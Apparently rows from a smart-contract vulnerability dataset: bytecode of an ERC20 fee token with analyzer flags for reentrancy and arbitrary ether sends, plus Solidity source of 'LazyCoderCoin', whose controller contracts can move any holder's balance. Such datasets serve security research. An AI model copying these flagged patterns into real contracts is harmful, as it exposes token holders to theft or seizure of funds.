00000000000000000000000000000000000000000000000000000815260040161137c90612f39565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114639190613079565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790612ff9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154790612ef9565b60405180910390fd5b60008111611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612fd9565b60405180910390fd5b61159b610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160957506115d9610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6c57600f60179054906101000a900460ff161561183c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178561129d565b73ffffffffffffffffffffffffffffffffffffffff1614806117fb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e361129d565b73ffffffffffffffffffffffffffffffffffffffff16145b61183a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183190613059565b60405180910390fd5b5b5b60105481111561184b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ef5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a115750600f60179054906101000a900460ff165b15611ab25742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6157600080fd5b600a42611a6e91906131af565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abd30610782565b9050600f60159054906101000a900460ff16158015611b2a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b425750600f60169054906101000a900460ff165b15611b6a57611b5081611dfc565b60004790506000811115611b6857611b6747611c93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1d57600090505b611c29848484846121bb565b50505050565b6000838311158290611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e9190612ed7565b60405180910390fd5b5060008385611c869190613290565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce360028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0e573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5f60028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8a573d6000803e3d6000fd5b5050565b6000600654821115611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90612f19565b60405180910390fd5b6000611ddf6121e8565b9050611df4818461217190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e885781602001602082028036833780820191505090505b5090503081600081518110611ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6857600080fd5b505afa158015611f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa09190612946565b81600181518110611fda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a5959493929190613094565b600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600080831415612109576000905061216b565b600082846121179190613236565b90508284826121269190613205565b14612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d90612f99565b60405180910390fd5b809150505b92915050565b60006121b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612213565b905092915050565b806121c9576121c8612276565b5b6121d48484846122a7565b806121e2576121e1612472565b5b50505050565b60008060006121f5612484565b9150915061220c818361217190919063ffffffff16565b9250505090565b6000808311829061225a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122519190612ed7565b60405180910390fd5b50600083856122699190613205565b9050809150509392505050565b600060085414801561228a57506000600954145b15612294576122a5565b600060088190555060006009819055505b565b6000806000806000806122b9876124e3565b95509550955095509550955061231786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f8816125f3565b61240284836126b0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161245f9190613079565b60405180910390a3505050505050505050565b60066008819055506006600981905550565b600080600060065490506000670de0b6b3a764000090506124b8670de0b6b3a764000060065461217190919063ffffffff16565b8210156124d657600654670de0b6b3a76400009350935050506124df565b81819350935050505b9091565b60008060008060008060008060006125008a6008546009546126ea565b92509250925060006125106121e8565b905060008060006125238e878787612780565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2f565b905092915050565b60008082846125a491906131af565b9050838110156125e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e090612f59565b60405180910390fd5b8091505092915050565b60006125fd6121e8565b9050600061261482846120f690919063ffffffff16565b905061266881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126c58260065461254b90919063ffffffff16565b6006819055506126e08160075461259590919063ffffffff16565b6007819055505050565b6000806000806127166064612708888a6120f690919063ffffffff16565b61217190919063ffffffff16565b905060006127406064612732888b6120f690919063ffffffff16565b61217190919063ffffffff16565b905060006127698261275b858c61254b90919063ffffffff16565b61254b90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279985896120f690919063ffffffff16565b905060006127b086896120f690919063ffffffff16565b905060006127c787896120f690919063ffffffff16565b905060006127f0826127e2858761254b90919063ffffffff16565b61254b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281c6128178461312e565b613109565b9050808382526020820190508285602086028201111561283b57600080fd5b60005b8581101561286b57816128518882612875565b84526020840193506020830192505060018101905061283e565b5050509392505050565b6000813590506128848161376c565b92915050565b6000815190506128998161376c565b92915050565b600082601f8301126128b057600080fd5b81356128c0848260208601612809565b91505092915050565b6000813590506128d881613783565b92915050565b6000815190506128ed81613783565b92915050565b6000813590506129028161379a565b92915050565b6000815190506129178161379a565b92915050565b60006020828403121561292f57600080fd5b600061293d84828501612875565b91505092915050565b60006020828403121561295857600080fd5b60006129668482850161288a565b91505092915050565b6000806040838503121561298257600080fd5b600061299085828601612875565b92505060206129a185828601612875565b9150509250929050565b6000806000606084860312156129c057600080fd5b60006129ce86828701612875565b93505060206129df86828701612875565b92505060406129f0868287016128f3565b9150509250925092565b60008060408385031215612a0d57600080fd5b6000612a1b85828601612875565b9250506020612a2c858286016128f3565b9150509250929050565b600060208284031215612a4857600080fd5b600082013567ffffffffffffffff811115612a6257600080fd5b612a6e8482850161289f565b91505092915050565b600060208284031215612a8957600080fd5b6000612a97848285016128c9565b91505092915050565b600060208284031215612ab257600080fd5b6000612ac0848285016128de565b91505092915050565b600060208284031215612adb57600080fd5b6000612ae9848285016128f3565b91505092915050565b600080600060608486031215612b0757600080fd5b6000612b1586828701612908565b9350506020612b2686828701612908565b9250506040612b3786828701612908565b9150509250925092565b6000612b4d8383612b59565b60208301905092915050565b612b62816132c4565b82525050565b612b71816132c4565b82525050565b6000612b828261316a565b612b8c818561318d565b9350612b978361315a565b8060005b83811015612bc8578151612baf8882612b41565b9750612bba83613180565b925050600181019050612b9b565b5085935050505092915050565b612bde816132d6565b82525050565b612bed81613319565b82525050565b6000612bfe82613175565b612c08818561319e565b9350612c1881856020860161332b565b612c2181613465565b840191505092915050565b6000612c3960238361319e565b9150612c4482613476565b604082019050919050565b6000612c5c602a8361319e565b9150612c67826134c5565b604082019050919050565b6000612c7f60228361319e565b9150612c8a82613514565b604082019050919050565b6000612ca2601b8361319e565b9150612cad82613563565b602082019050919050565b6000612cc5601d8361319e565b9150612cd08261358c565b602082019050919050565b6000612ce860218361319e565b9150612cf3826135b5565b604082019050919050565b6000612d0b60208361319e565b9150612d1682613604565b602082019050919050565b6000612d2e60298361319e565b9150612d398261362d565b604082019050919050565b6000612d5160258361319e565b9150612d5c8261367c565b604082019050919050565b6000612d7460248361319e565b9150612d7f826136cb565b604082019050919050565b6000612d9760178361319e565b9150612da28261371a565b602082019050919050565b6000612dba60118361319e565b9150612dc582613743565b602082019050919050565b612dd981613302565b82525050565b612de88161330c565b82525050565b6000602082019050612e036000830184612b68565b92915050565b6000604082019050612e1e6000830185612b68565b612e2b6020830184612b68565b9392505050565b6000604082019050612e476000830185612b68565b612e546020830184612dd0565b9392505050565b600060c082019050612e706000830189612b68565b612e7d6020830188612dd0565b612e8a6040830187612be4565b612e976060830186612be4565b612ea46080830185612b68565b612eb160a0830184612dd0565b979650505050505050565b6000602082019050612ed16000830184612bd5565b92915050565b60006020820190508181036000830152612ef18184612bf3565b905092915050565b60006020820190508181036000830152612f1281612c2c565b9050919050565b60006020820190508181036000830152612f3281612c4f565b9050919050565b60006020820190508181036000830152612f5281612c72565b9050919050565b60006020820190508181036000830152612f7281612c95565b9050919050565b60006020820190508181036000830152612f9281612cb8565b9050919050565b60006020820190508181036000830152612fb281612cdb565b9050919050565b60006020820190508181036000830152612fd281612cfe565b9050919050565b60006020820190508181036000830152612ff281612d21565b9050919050565b6000602082019050818103600083015261301281612d44565b9050919050565b6000602082019050818103600083015261303281612d67565b9050919050565b6000602082019050818103600083015261305281612d8a565b9050919050565b6000602082019050818103600083015261307281612dad565b9050919050565b600060208201905061308e6000830184612dd0565b92915050565b600060a0820190506130a96000830188612dd0565b6130b66020830187612be4565b81810360408301526130c88186612b77565b90506130d76060830185612b68565b6130e46080830184612dd0565b9695505050505050565b60006020820190506131036000830184612ddf565b92915050565b6000613113613124565b905061311f828261335e565b919050565b6000604051905090565b600067ffffffffffffffff82111561314957613148613436565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ba82613302565b91506131c583613302565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131fa576131f96133d8565b5b828201905092915050565b600061321082613302565b915061321b83613302565b92508261322b5761322a613407565b5b828204905092915050565b600061324182613302565b915061324c83613302565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613285576132846133d8565b5b828202905092915050565b600061329b82613302565b91506132a683613302565b9250828210156132b9576132b86133d8565b5b828203905092915050565b60006132cf826132e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332482613302565b9050919050565b60005b8381101561334957808201518184015260208101905061332e565b83811115613358576000848401525b50505050565b61336782613465565b810181811067ffffffffffffffff8211171561338657613385613436565b5b80604052505050565b600061339a82613302565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133cd576133cc6133d8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613775816132c4565b811461378057600080fd5b50565b61378c816132d6565b811461379757600080fd5b50565b6137a381613302565b81146137ae57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d387f2dbdc0c7d70e04387956847df7fbb7f84f5fa97576189567892c9f947964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,481 |
0xfaa68bca10f557ad760f07c81ae15bc3d9aa4231
|
pragma solidity ^0.4.19;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/DisableSelfTransfer.sol
contract DisableSelfTransfer is StandardToken {
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(this));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(this));
return super.transferFrom(_from, _to, _value);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/OwnerContract.sol
contract OwnerContract is Ownable {
mapping (address => bool) internal contracts;
// New modifier to be used in place of OWNER ONLY activity
// Eventually this will be owned by a controller contract and not a private wallet
// (Voting needs to be implemented)
modifier justOwner() {
require(msg.sender == owner);
_;
}
// Allow contracts to have ownership without taking full custody of the token
// (Until voting is fully implemented)
modifier onlyOwner() {
if (msg.sender == address(0) || (msg.sender != owner && !contracts[msg.sender])) {
revert(); // error for uncontrolled request
}
_;
}
// Stops owner from gaining access to all functionality
modifier onlyContract() {
require(msg.sender != address(0));
require(contracts[msg.sender]);
_;
}
// new owner only activity.
// (Voting to be implemented for owner replacement)
function removeController(address controllerToRemove) public justOwner {
require(contracts[controllerToRemove]);
contracts[controllerToRemove] = false;
}
// new owner only activity.
// (Voting to be implemented for owner replacement)
function addController(address newController) public justOwner {
contracts[newController] = true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/MintableContractOwnerToken.sol
contract MintableContractOwnerToken is MintableToken, BurnableToken, OwnerContract, DisableSelfTransfer {
bool burnAllowed = false;
// Fired when an approved contract calls restartMint
event MintRestarted();
// Fired when a transfer is initiated from the contract rather than the owning wallet.
event ContractTransfer(address from, address to, uint value);
// Fired when burning status changes
event BurningStateChange(bool canBurn);
// opposite of canMint used for restarting the mint
modifier cantMint() {
require(mintingFinished);
_;
}
// Require Burn to be turned on
modifier canBurn() {
require(burnAllowed);
_;
}
// Require that burning is turned off
modifier cantBurn() {
require(!burnAllowed);
_;
}
// Enable Burning Only if Burning is Off
function enableBurning() public onlyContract cantBurn {
burnAllowed = true;
BurningStateChange(burnAllowed);
}
// Disable Burning Only if Burning is On
function disableBurning() public onlyContract canBurn {
burnAllowed = false;
BurningStateChange(burnAllowed);
}
// Override parent burn function to provide canBurn limitation
function burn(uint256 _value) public canBurn {
super.burn(_value);
}
// Allow the contract to approve the mint restart
// (Voting will be essential in these actions)
function restartMinting() onlyContract cantMint public returns (bool) {
mintingFinished = false;
MintRestarted(); // Notify the blockchain that the coin minting was restarted
return true;
}
// Allow owner or contract to finish minting.
function finishMinting() onlyOwner canMint public returns (bool) {
return super.finishMinting();
}
// Allow the system to create transactions for transfers when appropriate.
// (e.g. upgrading the token for everyone, voting to recover accounts for lost private keys,
// allowing the system to pay for transactions on someones behalf, allowing transaction automations)
// (Must be voted for on an approved contract to gain access to this function)
function contractTransfer(address _from, address _to, uint256 _value) public onlyContract returns (bool) {
require(_from != address(0));
require(_to != address(0));
require(_value > 0);
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractTransfer(_from, _to, _value); // Notify blockchain the following transaction was contract initiated
Transfer(_from, _to, _value); // Call original transfer event to maintain compatibility with stardard transaction systems
return true;
}
}
// File: contracts/LazyCoderCoin.sol
contract LazyCoderCoin is MintableContractOwnerToken {
string public name = "LazyCoder Coin";
string public symbol = "TLC";
uint8 public decimals = 18;
function LazyCoderCoin() public {
}
}
|
0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806306fdde0314610165578063095ea7b3146101f357806318160ddd1461024d57806323b872dd14610276578063313ce567146102ef57806340c10f191461031e57806342966c6814610378578063661884631461039b57806370a08231146103f55780637581a8e6146104425780637d64bcb4146104575780638da5cb5b1461048457806395d89b41146104d957806398603cca14610567578063a7fc7a071461057c578063a9059cbb146105b5578063c12954fa1461060f578063d73dd6231461063c578063dd62ed3e14610696578063f2fde38b14610702578063f6a74ed71461073b578063f7ad906f14610774575b600080fd5b341561014357600080fd5b61014b6107ed565b604051808215151515815260200191505060405180910390f35b341561017057600080fd5b610178610800565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b857808201518184015260208101905061019d565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fe57600080fd5b610233600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061089e565b604051808215151515815260200191505060405180910390f35b341561025857600080fd5b610260610990565b6040518082815260200191505060405180910390f35b341561028157600080fd5b6102d5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061099a565b604051808215151515815260200191505060405180910390f35b34156102fa57600080fd5b6103026109eb565b604051808260ff1660ff16815260200191505060405180910390f35b341561032957600080fd5b61035e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109fe565b604051808215151515815260200191505060405180910390f35b341561038357600080fd5b6103996004808035906020019091905050610c70565b005b34156103a657600080fd5b6103db600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c97565b604051808215151515815260200191505060405180910390f35b341561040057600080fd5b61042c600480803573ffffffffffffffffffffffffffffffffffffffff169060200